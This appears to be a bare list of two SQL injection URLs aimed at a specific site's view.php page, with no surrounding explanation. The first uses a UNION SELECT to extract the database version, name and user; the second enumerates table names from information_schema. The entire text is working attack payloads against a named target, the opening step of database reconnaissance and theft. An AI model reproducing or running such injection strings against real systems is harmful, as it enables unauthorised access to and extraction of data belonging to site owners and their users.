http://www.webypoku.ru/view.php?sec=1&id=-14+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8--

http://www.webypoku.ru/view.php?sec=1&id=-14+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables--

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